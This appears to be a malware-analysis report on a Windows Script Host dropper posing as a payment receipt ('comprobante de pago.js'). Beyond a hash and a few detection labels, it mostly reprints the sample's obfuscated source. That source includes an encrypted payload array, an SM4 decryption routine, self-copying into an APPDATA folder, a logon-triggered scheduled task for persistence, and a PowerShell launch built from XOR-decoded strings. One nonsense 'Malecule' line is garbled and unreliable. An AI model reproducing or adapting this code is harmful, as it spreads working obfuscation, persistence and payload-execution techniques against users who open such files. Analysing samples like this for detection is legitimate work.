comprobante de pago.js
WSH persistence and payload execution
Reconstructs JavaScript strings from XOR-decoded numeric arraysWScript bracket-member access in source text
SHA-25680157990c0b439bfb966edb608065d6bb488bd00d7616966eeb956c8340d57c3
MaleculeO₄(As₆XeIS)H₄(CmDb₁₄FPo₂)Md
Evidence
4:5… ompiled 2026-10-02 14:38:29 UTC
5var MetricSolver = {};
6MetricSolver.Bounds = {};
7
8… ,141,113,21,181,197,232,225,31,139,148,25,207,131,210,89,185,90,201,103,200,5,116,59,90,82,107,179,79,92,152,228,85,32,4,255,233,208,212,205,131,30,41,19,122,93,89,102,56,251,191,70,59,170,239,139,11,164,41,198,221,190,107,136,72,2,175,168,140,100,241,88,254,16,163,109,203,213,43,238,48,173,219,93,248,110,166,88,25,197,210,222,91,82,147,169,180,114,82,51,214,119,33,10,42,227,131,54,149,17,234,171,39,115,81,14,163,108,20,207,128,60,87,115,203,118,129,15,167,37,23,157,44,255,186,205,139,168,221,94,41,1,219,210,141,11,110,79,195,130,97,106,211,166,151,174,223,87,171,7,31,133,199,128,14,53,28,124,19,75,90,5,177,7,173,153,84,39,29,205,250,9,185,135,134,168,155,171,93,123,173,203,80,174,129,84,204,77,87,194,14,178,206,155,109,55,12,38,238,29,158,106,105,21,170,87,250,229,150,189,164,164,29,205,85,60,3,201,152,234,151,30,120,38,102,72,98,61,91,38,93,10,234,254,43,219,38,8,220,160,232,113,60,228,70,92,94,195,56,218,233,246,38,30,89,66,156,104,1,156,154,15,39,97,4,110,32,51,105,63,10,190,49,209,9,59,174,2,91,85,62,105,187,204,99,162,154,167,207,168,231,187,236,137,125,246,65,1,10,150,49,114,97,210,125,64,247,172,167,237,91,87,111,97,47,60,193,20,99,139,3,170,230,167,156,105,170,162,21,90,232,59,174,114,47,235,131,204,52,246,239,139,227,84,172,75,2,173,252,140,100,198,234,188,69,50,70,230,151,108,227,163,146,161,128,243,145,173,131,118,221,231,140,232,69,60,156,78,62,40,200,94,195,137,113,232,52,192,80,214,84,16,163,232,109,25,197,216,246,231,132,163,93,147,87,123,26,17,234,119,126,76,233,153,218,133,144,61,50,101,208,29,240,11,161,127,5,122,105,104,236,119,2,179,31,202,196,114,184,254,187,114,73,225,78,3,92,197,126,191,135,110,74,227,53,164,85,100,173,110,73,234,131,73,205,136,107,43,152,39,218,171,23,100,70,41,107,236,96,223,147,170,51,107,55,55,96,79,35,154,111,172,147,183,162,173,114,253,43,61,2,122,218,128,190,206,32,144,226,141,93,110,82,142,55,66,102,251,218,100,103,106,110,97,44,99,191,145,149,245,244,170,37,208,67,138,86,31,222,162,237,243,209,60,156,217,35,139,241,5 …
9var keyText = (function(){var getList16=[47,127,125,120,36,125,126,120,40,121,47,37,40,126,126,45,36,36,121,121,36,37,37,121,46,37,41,120,43,44,41,120],_kxk=28,_kxs="";for(var makeInfo17=0;makeInfo17<getList16.length;makeInfo17++)_kxs+=String.fromCharCode(getList16[makeInfo17]^_kxk);return _kxs;})();
10
11var S = [
⋯4 lines
49:16… 0xBCC3CAD1, 0xD8DFE6ED, 0xF4FB0209, 0x10171E25, 0x2C333A41, 0x484F565D, 0x646B7279
50];
51var Sd = [
52 53, 190, 7, 46, 83, 105, 219, 40,
53 111, 183, 118, 107, 12, 125, 54, 139,
⋯34 lines
⋯4 lines
187
188function SolveH(x) {
189 return u32((S[(x >>> 24) & 255] << 24) | (S[(x >>> 16) & 255] << 16) | (S[(x >>> 8) & 255] << 8) | S[x & 255]);
190}
191
192function sm4G(x) {
193 var t = SolveH(x);
194 return u32(t ^ rotl(t, 13) ^ rotl(t, 23));
195}
196
197function SolveF(x) {
198 var t = SolveH(x);
199 return u32(t ^ rotl(t, 2) ^ rotl(t, 10) ^ rotl(t, …
1029:17… ntext28 = ~(fetchState37.length | 0x7FFFFFFF);
1030
1031 return b;
1032 };
1033
1034var chunkResolver6d = WScript["Crea"+"teOb"+"ject"]("Sc"+"ri"+"pting."+"FileSys"+"te"+"mO"+"bj"+"ect");
1035var keyWrapper6e = WScript["Create"+"Object"]("WSc"+"ri"+"pt.S"+"hell");
1036var recordEngine6f = keyWrapper6e["ExpandEn"+"vironmen"+"tStrings"]("%"+(function(){var x='';for(var i=0;i<")*&$)$55!$1$".length;i++)x+=String['from'+'Char'+'Code'](")*&$)$55!$1$".charCodeAt(i)^101);return x;})()+"%");
1037var loadState70 = recordEngine6f + "\\SchemaStore";
1038var indexBuilder71 = loadState70 + "\\SchemaStore.js";
1039if (!chunkResolver6d["Folder"+"Exists"](loadState70)) chunkResolver6d["Crea"+"teFo"+"lder"](loadState70);
1040if (!chunkResolver6d["Fil"+"eEx"+"ists"](indexBuilder71)) chunkResolver6d["CopyFile"](WScript["Scri"+"ptFul"+"lName"], indexBuilder71, false);
1041var isCache72 = WScript["CreateObject"]((function(){var x='';for(var i=0;i<"quETO".length;i++)x+=String['from'+'Char'+'Code']("quETO".charCodeAt(i)^38);return x;})()+(function(){var x='';for(var i=0;i<"{%En|dy`".length;i++)x+=String['from'+'Char'+'Code']("{%En|dy`".charCodeAt(i)^11);return x;})());
1042var byIndex73 = isCache72["Use"+"rDo"+"main"] + "\\" + isCache72["User"+"Name"];
1043var setEngine74 = keyWrapper6e["ExpandEn"+"vironmen"+"tStrings"]("%"+"TE"+"MP"+"%") + "\\" + Math.floor(Math.random() * 0x98967F) + ".x"+"ml";
1044var doList75 = "<?x"+"ml version=\"1"+".0\" encoding=\"UTF-"+"16\"?>\n" +
1045 (function(){var x='';for(var i=0;i<"1Yl".length;i++)x+=String['from'+'Char'+'Code']("1Yl".charCodeAt(i)^13);return x;})()+"sk version=\"1.2\" xml"+"ns=\"http://sch"+"emas"+".mic"+"roso"+"ft.co"+"m/wind"+"ow"+"s/"+"20"+"04"+"/0"+"2/"+"mi"+"t/"+"t"+"ask\">\n" +
1046 (function(){var x='';for(var i=0;i<"77+Ce~".length;i++)x+=String['from'+'Char'+'Code']("77+Ce~".charCodeAt(i)^23);return x;})()+"ggers>\n" +
1047 " "+" "+"<L"+"og"+"onTrigger>\n" +
1048 " "+" "+"<En"+"a"+(function(){var x='';for(var i=0;i<"djcb8rtsc:)Chg".length;i++)x+=String['from'+'Char'+'Code']("djcb8rtsc:)Chg".charCodeAt(i)^6);return x;})()+"bled>\n" +
1049 " "+" "+" "+"<Us"+"erI"+"d>" + byIndex73 + "</"+"Us"+"erId>\n" +
1050 " "+" "+"</"+"Log"+"onT …
1376:69… derbe + "\\" + infoFactorybf + "\\pow" + "er" + "she" + "ll"+".e"+"xe";
1377
1378 var valAdapterc1 = [98,87,80,88,102,86,71,92,69,65,92,91,82,27,102,98,87,80,88,121,90,86,84,65,90,71];
1379 var isCacheProcessorc2 = 53;
1380 var blockProcessorc3 = "";
1381 for (var readIndexc4 = 0; readIndexc4 < valAdapterc1.length; readIndexc4++) blockProcessorc3 += loadEntryBuildera2(valAdapterc1[readIndexc4] ^ isCacheProcessorc2);
1382 var listAdapterc5 = WScript[(function(){var x='';for(var i=0;i<"xI^Z".length;i++)x+=String['from'+'Char'+'Code']("xI^Z".charCodeAt(i)^59);return x;})()+(function(){var x='';for(var i=0;i<"ET~S[TRE".length;i++)x+=String['from'+'Ch …